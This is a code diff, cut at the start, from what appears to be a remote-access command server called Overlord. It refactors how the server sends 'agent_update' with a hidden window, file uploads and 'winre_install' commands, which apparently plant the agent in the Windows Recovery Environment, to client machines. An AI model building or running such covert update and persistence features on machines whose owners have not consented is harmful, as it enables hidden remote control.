encodeMessage({ + const updateResult = await waitForClientCommand( + deps, + target, + clientId, + { type: "command", commandType: "agent_update", id: uuidv4(), payload: { path: destPath, hash, hideWindow: true }, - }), + }, + "Update start timed out", + 60_000, ); + if (!updateResult.ok) { + results.push({ clientId, ok: false, reason: updateResult.message || "update_failed" }); + continue; + } metrics.recordCommand("agent_update"); logAudit({ diff --git a/Overlord-Server/src/server/routes/file-download-routes.test.ts b/Overlord-Server/src/server/routes/file-download-routes.test.ts index 2c55852..a7abddb 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.test.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.test.ts @@ -124,8 +124,11 @@ describe("file upload route flow", () => { expect(stageJson.ok).toBe(true); expect(stageJson.size).toBe(payload.length); expect(typeof stageJson.pullUrl).toBe("string"); + expect(stageJson.pullUrl.startsWith("/api/file/upload/pull/")).toBe(true); + expect(stageJson.agentNotified).toBe(false); + expect(stageJson.agentCommandId).toBeNull(); - const pullUrl = new URL(stageJson.pullUrl); + const pullUrl = new URL(stageJson.pullUrl, "https://localhost"); const pullRes = await handleFileDownloadRoutes( new Request(pullUrl, { method: "GET", @@ -228,7 +231,7 @@ describe("file upload route flow", () => { ); const stageJson = await stageRes!.json() as any; - const pullUrl = new URL(stageJson.pullUrl); + const pullUrl = new URL(stageJson.pullUrl, "https://localhost"); const badPullRes = await handleFileDownloadRoutes( new Request(pullUrl, { method: "GET", @@ -309,7 +312,7 @@ describe("file upload route flow", () => { deps, ); const stageJson = await stageRes!.json() as any; - const pullUrl = new URL(stageJson.pullUrl); + const pullUrl = new URL(stageJson.pullUrl, "https://localhost"); const firstPullRes = await handleFileDownloadRoutes( new Request(pullUrl, { diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts index 7e72f94..abf2dc7 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -403,40 +403,7 @@ export async function handleFileDownloadRoutes( uploadIntents.delete(uploadId); clearTimeout(intent.timeout); - let agentCommandId: string | null = null; - if (canStream) { - const target = clientManager.getClient(intent.clientId); - if (target) { - agentCommandId = uuidv4(); - try { - target.ws.send( - encodeMessage({ - type: "command", - commandType: "file_upload_http", - id: agentCommandId, - payload: { - path: intent.path, - url: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`, - total: expectedTotal, - }, - } as any), - ); - logger.debug("[filebrowser] http upload eagerly notified agent", { - uploadId, - pullId, - clientId: intent.clientId, - total: expectedTotal, - commandId: agentCommandId, - }); - } catch (err) { - logger.debug("[filebrowser] http upload eager notify failed", { - uploadId, - error: (err as Error)?.message || String(err), - }); - agentCommandId = null; - } - } - } + const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`; let stagedSize = 0; const fileHandle = await fs.open(tmpPath, "w"); @@ -505,9 +472,9 @@ export async function handleFileDownloadRoutes( ok: true, size: stagedSize, path: intent.path, - pullUrl: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`, - agentCommandId, - agentNotified: !!agentCommandId, + pullUrl, + agentCommandId: null, + agentNotified: false, }); } diff --git a/Overlord-Server/src/server/routes/winre-routes.ts b/Overlord-Server/src/server/routes/winre-routes.ts index 91b0119..de58e5b 100644 --- a/Overlord-Server/src/server/routes/winre-routes.ts +++ b/Overlord-Server/src/server/routes/winre-routes.ts @@ -33,11 +33,52 @@ type WinRERouteDeps = { pendingCommandReplies: Map; }; +const WINRE_COMMAND_TIMEOUT_MS = 30 * 60_000; + function isWindowsClient(target: any): boolean { const clientOs = (target?.os || "").toLowerCase(); return clientOs.includes("windows"); } +function waitForWinRECommand( + deps: WinRERouteDeps, + target: any, + clientId: string, + command: any, + timeoutMessage: string, + timeoutMs = WINRE_COMMAND_TIMEOUT_MS, +): Promise<{ ok: boolean; message?: string }> { + const cmdId = command.id || uuidv4(); + command.id = cmdId; + + const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + deps.pendingCommandReplies.delete(cmdId); + resolve({ ok: false, message: timeoutMessage }); + }, timeoutMs); + deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId }); + }); + + try { + target.ws.send(encodeMessage(command)); + } catch (error) { + const pending = deps.pendingCommandReplies.get(cmdId); + if (pending) { + clearTimeout(pending.timeout); + deps.pendingCommandReplies.delete(cmdId); + } + return Promise.resolve({ + ok: false, + message: (error as Error)?.message || "Failed to send command", + }); + } + + return replyPromise.catch((error) => ({ + ok: false, + message: (error as Error)?.message || timeoutMessage, + })); +} + async function probeWinRE(deps: WinRERouteDeps, target: any, clientId: string): Promise<{ ok: boolean; reason?: string; message?: string }> { const cmdId = uuidv4(); const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { @@ -179,26 +220,41 @@ export async function handleWinRERoutes( fileName: upload.name, size: upload.size, }); - const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; - - target.ws.send( - encodeMessage({ + const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`; + const uploadResult = await waitForWinRECommand( + deps, + target, + clientId, + { type: "command", commandType: "file_upload_http" as any, id: uuidv4(), payload: { path: destPath, url: pullUrl, total: upload.size }, - }), + }, + "Upload to client timed out", ); + if (!uploadResult.ok) { + results.push({ clientId, ok: false, reason: "upload_failed", error: uploadResult.message || "Upload to client failed" }); + continue; + } - const cmdId = uuidv4(); - target.ws.send( - encodeMessage({ + const installResult = await waitForWinRECommand( + deps, + target, + clientId, + { type: "command", commandType: "winre_install", - id: cmdId, + id: uuidv4(), payload: { filePath: destPath }, - }), + }, + "WinRE install timed out", + 5 * 60_000, ); + if (!installResult.ok) { + results.push({ clientId, ok: false, reason: "install_failed", error: installResult.message || "WinRE install failed" }); + continue; + } metrics.recordCommand("winre_install"); logAudit({ @@ -261,15 +317,23 @@ export async function handleWinRERoutes( continue; } - const cmdId = uuidv4(); - target.ws.send( - encodeMessage({ + const installResult = await waitForWinRECommand( + deps, + target, + clientId, + { type: "command", commandType: "winre_install", - id: cmdId, + id: uuidv4(), payload: { useSelf: true }, - }), + }, + "WinRE install timed out", + 5 * 60_000, ); + if (!installResult.ok) { + results.push({ clientId, ok: false, reason: "install_failed", error: installResult.message || "WinRE install failed" }); + continue; + } metrics.recordCommand("winre_install"); logAudit({ @@ -332,15 +396,23 @@ export async function handleWinRERoutes( continue; } - const cmdId = uuidv4(); - target.ws.send( - encodeMessage({ + const uninstallResult = await waitForWinRECommand( + deps, + target, + clientId, + { type: "command", commandType: "winre_uninstall", - id: cmdId, + id: uuidv4(), payload: {}, - }), + }, + "WinRE uninstall timed out", + 5 * 60_000, ); + if (!uninstallResult.ok) { + results.push({ clientId, ok: false, reason: "uninstall_failed", error: uninstallResult.message || "WinRE uninstall failed" }); + continue; + } metrics.recordCommand("winre_uninstall"); logAudit({